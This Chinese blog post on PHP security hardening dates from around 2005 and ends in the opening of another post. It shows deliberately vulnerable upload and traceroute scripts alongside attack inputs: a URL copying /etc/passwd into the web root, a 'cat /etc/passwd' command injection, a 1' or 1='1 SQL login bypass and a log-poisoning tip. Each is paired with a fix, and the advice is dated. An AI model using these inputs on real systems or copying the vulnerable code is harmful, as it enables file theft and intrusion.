php 的文件上传机制是把用户上传的文件保存在 php.ini 的 upload_tmp_dir 定义的临时目录(默认是系统的临时目录,如:/tmp)里的一个类似 phpxXuoXG 的随机临时文件,程序执行结束,该临时文件也被删除。PHP 给上传的文件定义了四个变量:(如 form 变量名是 file,而且 register_globals 打开)

$file    #就是保存到服务器端的临时文件(如 /tmp/phpxXuoXG )
$file_size  #上传文件的大小
$file_name  #上传文件的原始名称
$file_type  #上传文件的类型
推荐使用:

$HTTP_POST_FILES['file']['tmp_name']
$HTTP_POST_FILES['file']['size']
$HTTP_POST_FILES['file']['name']
$HTTP_POST_FILES['file']['type']
这是一个最简单的文件上传代码:

<?php
//test_5.php

if(isset($upload) && $file != "none") {
  
copy($file"/usr/local/apache/htdocs/upload/".$file_name);
  echo 
"文件".$file_name."上传成功!点击<a href="$PHP_SELF">继续上传</a>";
  exit;
}
?>
<html>
<head>
<title>文件上传</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body bgcolor="#FFFFFF">
<form enctype="multipart/form-data" method="post">上传文件:<br />
<input type="file" name="file" size="30"><br />
<input type="submit" name="upload" value="上传"></form>
</body>
</html>
这样的上传代码存在读取任意文件和执行命令的重大问题。
下面的请求可以把 /etc/passwd 文档拷贝到 web 目录 /usr/local/apache/htdocs/test(注意:这个目录必须 nobody 可写)下的 attack.txt 文件里:

http://victim/test_5.php?upload=1&file=/etc/passwd&file_name=attack.txt

然后可以用如下请求读取口令文件:

http://victim/test/attack.txt

攻击者可以把 php 文件拷贝成其它扩展名,泄漏脚本源代码。
攻击者可以自定义 form 里 file_name 变量的值,上传覆盖任意有写权限的文件。
攻击者还可以上传PHP脚本执行主机的命令。

解决方法:

PHP-4.0.3 以后提供了 is_uploaded_file 和 move_uploaded_file 函数,可以检查操作的文件是否是用户上传的文件,从而避免把系统文件拷贝到 web 目录。
使用 $HTTP_POST_FILES 数组来读取用户上传的文件变量。
严格检查上传变量。比如不允许是 php 脚本文件。

把 PHP 脚本操作限制在 web 目录可以避免程序员使用 copy 函数把系统文件拷贝到 web 目录。move_uploaded_file 不受 open_basedir 的限制,所以不必修改 php.ini 里 upload_tmp_dir 的值。
把 PHP 脚本用 phpencode 进行加密,避免由于 copy 操作泄漏源码。
严格配置文件和目录的权限,只允许上传的目录能够让 nobody 用户可写。
对于上传目录去掉 PHP 解释功能,可以通过修改 httpd.conf 实现:

<Directory /usr/local/apache/htdocs/upload>
   php_flag engine off
   #如果是php3换成php3_engine off
</Directory>
重启 apache,upload 目录的 php 文件就不能被 apache 解释了,即使上传了 php 文件也没有问题,只能直接显示源码。

6、命令执行

下面的代码片断是从 PHPNetToolpack 摘出,详细的描述见:

http://www.securityfocus.com/bid/4303

<?php
//test_6.php

system("traceroute $a_query",$ret_strs);
?>
由于程序没有过滤 $a_query 变量,所以攻击者可以用分号来追加执行命令。

攻击者输入如下请求可以执行 cat /etc/passwd 命令:

http://victim/test_6.php?a_query=www.example.com;cat /etc/passwd

PHP 的命令执行函数还有 system(), passthru(), popen() 和 `` 等。命令执行函数非常危险,慎用。如果要使用一定要严格检查用户输入。

解决方法:

要求程序员使用 escapeshellcmd() 函数过滤用户输入的 shell 命令。

启用 safe_mode 可以杜绝很多执行命令的问题,不过要注意PHP的版本一定要是最新的,小于 PHP-4.2.2 的都可能绕过 safe_mode 的限制去执行命令。

7、sql_inject

如下的 SQL 语句如果未对变量进行处理就会存在问题:

select * from login where user='$user' and pass='$pass' 攻击者可以用户名和口令都输入 1' or 1='1 绕过验证。

不过幸亏 PHP 有一个默认的选项 magic_quotes_gpc = On,该选项使得从 GET, POST, COOKIE 来的变量自动加了 addslashes() 操作。上面 SQL 语句变成了:

select * from login where user='1' or 1='1' and pass='1' or 1='1' 从而避免了此类 sql_inject 攻击。

对于数字类型的字段,很多程序员会这样写:

select * from test where id=$id 由于变量没有用单引号扩起来,就会造成 sql_inject 攻击。幸亏 MySQL 功能简单,没有 sqlserver 等数据库有执行命令的 SQL 语句,而且 PHP 的 mysql_query() 函数也只允许执行一条 SQL 语句,所以用分号隔开多条 SQL 语句的攻击也不能奏效。但是攻击者起码还可以让查询语句出错,泄漏系统的一些信息,或者一些意想不到的情况。

解决方法:

要求程序员对所有用户提交的要放到 SQL 语句的变量进行过滤。
即使是数字类型的字段,变量也要用单引号扩起来,MySQL 自己会把字串处理成数字。
在 MySQL 里不要给 PHP 程序高级别权限的用户,只允许对自己的库进行操作,这也避免了程序出现问题被 SELECT INTO OUTFILE ... 这种攻击。

8、警告及错误信息

PHP 默认显示所有的警告及错误信息:

error_reporting = E_ALL & ~E_NOTICE
display_errors = On
在平时开发调试时这非常有用,可以根据警告信息马上找到程序错误所在。
正式应用时,警告及错误信息让用户不知所措,而且给攻击者泄漏了脚本所在的物理路径,为攻击者的进一步攻击提供了有利的信息。而且由于自己没有访问到错误的地方,反而不能及时修改程序的错误。所以把PHP的所有警告及错误信息记录到一个日志文件是非常明智的,即不给攻击者泄漏物理路径,又能让自己知道程序错误所在。

修改 php.ini 中关于 Error handling and logging 部分内容:

error_reporting = E_ALL
display_errors = Off
log_errors = On
error_log = /usr/local/apache/logs/php_error.log
然后重启 apache,注意文件 /usr/local/apache/logs/php_error.log 必需可以让 nobody 用户可写。

9、disable_functions

如果觉得有些函数还有威胁,可以设置 php.ini 里的 disable_functions(这个选项不能在 httpd.conf 里设置),比如:

disable_functions = phpinfo, get_cfg_var 可以指定多个函数,用逗号分开。重启 apache 后,phpinfo, get_cfg_var 函数都被禁止了。建议关闭函数 phpinfo, get_cfg_var,这两个函数容易泄漏服务器信息,而且没有实际用处。

10、disable_classes

这个选项是从 PHP-4.3.2 开始才有的,它可以禁用某些类,如果有多个用逗号分隔类名。disable_classes 也不能在 httpd.conf 里设置,只能在 php.ini 配置文件里修改。

11、open_basedir

前面分析例程的时候也多次提到用 open_basedir 对脚本操作路径进行限制,这里再介绍一下它的特性。用 open_basedir 指定的限制实际上是前缀,不是目录名。也就是说 "open_basedir = /dir/incl" 也会允许访问 "/dir/include" 和 "/dir/incls",如果它们存在的话。如果要将访问限制在仅为指定的目录,用斜线结束路径名。例如:"open_basedir = /dir/incl/"。
可以设置多个目录,在 Windows 中,用分号分隔目录。在任何其它系统中用冒号分隔目录。作为 Apache 模块时,父目录中的 open_basedir 路径自动被继承。

四、其它安全配置

1、取消其它用户对常用、重要系统命令的读写执行权限

一般管理员维护只需一个普通用户和管理用户,除了这两个用户,给其它用户能够执行和访问的东西应该越少越好,所以取消其它用户对常用、重要系统命令的读写执行权限能在程序或者服务出现漏洞的时候给攻击者带来很大的迷惑。记住一定要连读的权限也去掉,否则在 linux 下可以用 /lib/ld-linux.so.2 /bin/ls 这种方式来执行。
如果要取消某程如果是在 chroot 环境里,这个工作比较容易实现,否则,这项工作还是有些挑战的。因为取消一些程序的执行权限会导致一些服务运行不正常。PHP 的 mail 函数需要 /bin/sh 去调用 sendmail 发信,所以 /bin/bash 的执行权限不能去掉。这是一项比较累人的工作,

2、去掉 apache 日志其它用户的读权限

apache 的 access-log 给一些出现本地包含漏洞的程序提供了方便之门。通过提交包含 PHP 代码的 URL,可以使 access-log 包含 PHP 代码,那么把包含文件指向 access-log 就可以执行那些 PHP 代码,从而获得本地访问权限。
如果有其它虚拟主机,也应该相应去掉该日志文件其它用户的读权限。

当然,如果你按照前面介绍的配置 PHP 那么一般已经是无法读取日志文件了。

本人原载旧版博客 2005年末。

脚本与脚本之间传递数据一般通过表单的 POST 或 GET 方式来实现,PHP 脚本在接收表单数据的时候同样用到 $_POST 与 $_GET 两个数组。很多朋友在编写 PHP 脚本的时候习惯在数据接收脚本上直接使用变量名称,这是非常不可取的。譬如,表单上一个名称为 name 的字段数据,以 POST 方式传递到脚本上应该体现为 $_POST['name'],而不是 $name。后者只有在 PHP 环境中 register_global 开关打开的情况下才可以使用,但这是绝对不值得提倡的。为什么?请参考这篇文章这篇文章

然而,在某种特定情况下,可能无法用到表单来传递数据。那么我们可以使用这个函数来实现:

- 阅读剩余部分 -